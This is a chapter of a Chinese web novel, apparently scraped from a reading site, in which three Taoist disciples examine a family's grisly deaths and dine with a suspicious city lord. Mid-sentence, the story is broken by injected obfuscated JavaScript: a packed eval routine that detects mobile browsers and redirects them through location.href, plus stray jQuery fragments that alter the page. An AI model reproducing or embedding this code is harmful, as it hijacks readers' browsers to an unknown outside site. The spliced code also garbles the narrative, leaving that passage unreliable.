默认冷灰
24号文字
方正启体

4. 李家

作者:尾日晞本书字数:K更新时间:
    陈留城共四条街十六巷,街街不同,巷巷热闹,有大约二十万百姓在此安居。人口不多的小城,消息往往像长了翅膀的飞鸟,一人知晓则万人听闻,万人听闻则全城皆知。三人顺利进城后,稍微一打听,就知道出事的人家姓李,住在城东青龙街的平安巷。


    三人进入平安巷后直走,在百年榆树处拐弯,再走大约三百米,就到了李家。


    本该晚饭的时间,院里邻里乃至整个巷子却都一片死寂。木质的大门紧闭着,两侧分别站着城卫,应当是城主留下看守的人。门上左右两侧贴的桃符缺了道口子,两只高悬棕色的灯笼高悬在门头,似乎在等待主人归家将其点亮。


    明煦上前拿出道牌,二人仔细辨认后连忙行礼,大喜道,“原来是紫金山明煦道师,道师定是为陈留城李家惨死一事而来,太好了,您来了我们就再不怕妖怪了。”


    高个儿城卫转身推开门,恭敬道,“小的名叫卫东,我为诸位带路,道师请。”


    怀光迈过门槛,映入眼帘的是一口狭窄的水井,井边放着装满水的木桶和擦得干干净净的石碾,用过的黄豆渣堆在一旁还未曾处理,一棵不小的槐树在院子中间使得本就不大的院子变得更加逼仄。


    卫东带领三人走过庭院,边走边惋惜道,“李家一共祖孙三代五口人,经营一家豆腐店,夫妻俩为人老实本分,今年正准备等开春了给刚满二十岁的儿子说媳妇呢,哪成想竟然都没活过冬天。”


    “唉,也是奇了,明明身体健康的老人却被活活吓死,自己和儿子眼珠子被抠出来,流血而死;妻子王氏被发现时正跪在原地不停磕头,嘴里不停念叨着什么也听不清,那头当时就已经磕烂了,两个壮汉去拉都拉不起来,往地上放垫枕也被尖叫着拼命推开,最终活活磕死。”


    “原本大家以为是有仇家寻仇,可李家死后当晚住在附近的百姓们就做起噩梦,梦里死掉的人不再是李家人而是自己。原以为第二天就好了,结果之后的第二天、第三天依旧是同样的梦。”


    “有人为了结束噩梦,提议早日下葬,结果当天夜里大家的噩梦里就多里了被埋在坟墓里直到天明梦醒。”


    “短短三日他们就被噩梦折磨得痛苦不堪,直到有人发现搬家之后,噩梦没了。于是周围的人们纷纷搬离平安巷,如今这条巷子几乎已经没有人了。尸体下葬也因噩梦一事就此搁置,一家五口现在还躺在城里的义庄。”


    李家仍然保留着出事时的样子,正堂上有一大滩已经干涸的血潭,旁边零散分布着几根半黑半白的长发,王氏应当就是在这里磕死的。暗红的血点零零洒洒,从正堂一路延伸到各个卧房。


    “奇怪,这间房内怎么没什么血迹?”怀光疑问道。李家一共三间卧房,刚刚看过的两间到处都是鲜血。


    卫东答道,“这间是李家老双亲住的。”


    怀光疑惑不解。为什么老人房间血迹最少,看起来死的最轻松,恐怕这就要问杀人的那只妖怪了。


    沈潭道:“可有请仵作验尸,查出死亡时间?”


    “有的,除了王氏是清晨,其余死人均是午夜时分。仵作还发现每个尸体的胃里有着大量泥土,是生前吃下去的。”卫东站在窗前细细回想着仵作的话,身后窗子上辟邪的桃符破破烂烂,暗红的血痕浸透窗纸,遮住了桃符上祈求平安长寿的黑色墨痕。


    天色已经彻底暗了下来,院子里原本三月才开花的槐树此时却枝繁叶茂,大枝上结出了不少花苞,月亮斜斜的照进院子,地上的树影稀稀落落,分明无枝无叶。


    沈潭眉头轻挑,看着院中的洋槐道,“中庭种槐,巷口有榆,个个门窗贴桃符。这户人家倒是很注重镇宅防邪。”


    明煦思索道,“虽说妖族为祸,贴些桃符无可厚非,可这未免太多了些。”寻常百姓多将桃符贴在家中门上,可这李家连窗子上、过道中都贴满了各式各样的桃符,还夹杂着一两张破损到难以识别的符咒。


    卫东顺着三人的视线看向槐树,神情如常道,“害,城主喜欢这些,百姓们也就纷纷效仿,陈留城的每家每户都爱贴些桃符、符咒的,有的没种槐树也会挂些槐枝的。这家虽多了些,倒也没那么奇怪。”


    “原来如此。”怀光嘴上回应,暗中观察卫东的神色,发现他并不是对这怪异的槐树习以为常,而是他根本看不见异常。


    怀光走到槐树旁左手掐诀,右手向头顶的花苞伸去。是真的花,不是幻觉。


    她看着手中摘下的花苞,低头嗅闻,传来的不是槐花香,而是一股浓郁的兰香。


    “明道长,沈道长,有失远迎。”一道男声从院门口传来。


    来人约莫四十岁出头,中等体型,一身鸦青祥云纹长袍配同款式香囊,行走间带起阵阵墨香,笑起来双眼微眯,很是和善。身后跟着一个城卫,正是刚才李家门口较矮的那个。


    “怀光姑娘安好。”陈安双手作揖,一一见礼。“在下陈留城城主,陈安。久闻紫金山弟子大名,如今一见,果然风姿绰约,仙风道骨。”


    怀光为这位城主的消息灵通和八面玲珑感到咋舌,明煦刚刚向城卫出示了道牌,对方知道姓名无可厚非,可她和沈潭并未报出名姓,对方仍准确识人,逐个问好。


    “城主客气了,初到陈留城,原想明日携礼登门拜访,不曾想今日城门听到闻城中似有妖异,故先行来查探,倒是有些失礼了。”明煦和沈潭拱手回礼,作为紫金山弟子,行走在外礼数自是不能差的。


    怀光学着两人的样子,身体微微前倾,左手抱右手,向陈安回了一礼。


    “无妨无妨,捉妖要紧捉妖要紧。”陈安连忙摆摆手。开玩笑,这可是紫金山的关门弟子,自己这小小陈留城,怎敢和他们计较这些。


    “客栈简陋,若各位道师不弃,不如屈尊移步城主府,城主府扫榻而迎。”


    “不……”明煦刚要拒绝,沈潭的声音传了出来。


    “如此就却之不恭了。”沈潭笑得令人如沐春风。看着一向话少的师弟欣然应允陈安的邀约,明煦会意,恐怕这城主并不简单。


    陈安侧身让路,看起来很是高兴,“请。”


    从陈安身旁路过时,在浓郁的墨香中,怀光闻到了一股淡淡的兰花香,与刚才那朵槐花苞上的一模一样。


    城主府位于陈留城最繁华的朱雀街上,与一座书塾为邻。门口一左一右矗立着两座两人高的石狮雕像,门上如卫东所说贴着一对桃符,应是过年时候贴的,看起来虽有些破旧却十分完整,可见主人十分爱护。门头上挂着一个石质牌匾,牌匾上篆刻“陈府”两个大字,字体飘逸潇洒,尽显文人风骨。


    宴席设在专门招待客人的有节台。君子当有节,气节以竹先。抬眼望去尽是青绿竹林,用不知道什么材质的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144497|196374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    透明帘子遮住,竟吹不进来一丝寒风,却又能听见风吹过竹林传来的声声波涛。


    陈安拿着酒壶为三人亲自倒满酒杯,“一时仓促,略备薄酒,若是哪里招待不周,还望诸位仙师海涵。”


    明煦爽朗一笑,道:“陈城主客气了。早就听闻陈留城城主处事不惊,虚若怀古,如今一见果然名不虚传。”


    陈安:“明煦兄过誉了,尝尝这今年刚酿出来的桑落酒。”


    明煦举起酒杯一饮而尽,“入口回甘,清香绵甜,果真是好酒。”


    见沈潭和怀光并未举杯,陈安只当而二人不会饮酒,客气道,“沈道师和怀光姑娘不妨尝尝这银鱼,陈留城中有一湖,湖中盛产银鱼,滋味很是鲜美。”


    来陈留城的一路上都荒无人烟,怀光除了沈潭的麦饼,还未曾尝过其他食物。


    看着跃跃欲试的怀光,沈潭温柔一笑,开口提醒道,“当心鱼刺。”


    怀光夹起一筷子鱼肉,放在碟子上细细挑出鱼刺后送入嘴中,鱼肉本身带有淡淡的甜味,入口即化,不禁发出“好好吃”的感叹。


    一顿饭下来,明煦嚷嚷着要跟陈安做拜把子兄弟,俨然已经大醉。陈安强撑着酒劲,吩咐侍女带三人前往菊隐园休息。


    “客人这边请,明道师和沈道师住西厢,怀光姑娘住东厢。”


    怀光向侍女道谢,“多谢姑娘带路。”


    “姑娘客气了,不打扰各位客人,奴婢告退。”侍女微微欠身后便离去了。


    “再不醒来,我就松手了。”


    明煦正名正言顺的享受师弟对自己的关爱,听到此话瞬间从沈潭身上弹跳而起,眼神清澈,意识清醒,哪有半分喝醉的样子。他嘿嘿一笑,“师弟好不容易扶我一次,我这不是想多感受一会儿嘛。”


    说完又甩了甩酸麻的胳膊,抱怨道,“那陈安老头当真是嘴严,都喝成那样了,还什么都问不出来。”他虽然不知道师弟看出这城主哪里不对,不过让他多说些话总是没错。


    怀光:“你怎么知道他真的醉了?说不定跟你一样装的。”


    “?!不能吧,他那脸都红的跟猴屁股一样了还能是装的。”明煦求助地看向沈潭,发现对方点了点头。


    我去,竟然敢骗他,心机老头。明煦愤懑不已


    “不行了,虽然装醉但我着实疲惫得很,我先去休息了,你俩早点睡”明煦挥挥手就走了。


    “你可曾闻到那陈城主身上的兰花香气?”


    沈潭,“你可是在那槐花上闻到了一样的香气?我见你路过时陈安脚步略微停顿了一下,就猜到你应是发现了异常。”


    怀光点点头,“沈道长果然细心。李家的事,不过那陈安浑身上,只是个普通凡人。”回想刚才宴席上的场景,说道,“那陈安虽然与明煦把酒言欢,但言谈之间始终密不透风,想来问不出什么,只能这几日在府中打探打探。”


    “明日我们先去义庄看看尸体。”


    正事讲完了,走了五天的路的疲惫涌上心头,,虽然怀光是小草,但小草也会累啊。她早就困得不行了,刚想跟沈潭说一声也去休息,却看见这人正温柔的看着她,似乎还有话要讲。


    “沈潭。”


    “什么?”怀光困得眼睛都要睁不开了,没听清他讲什么。


    沈潭如常开口道:“不用叫沈道长,叫我的名字。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)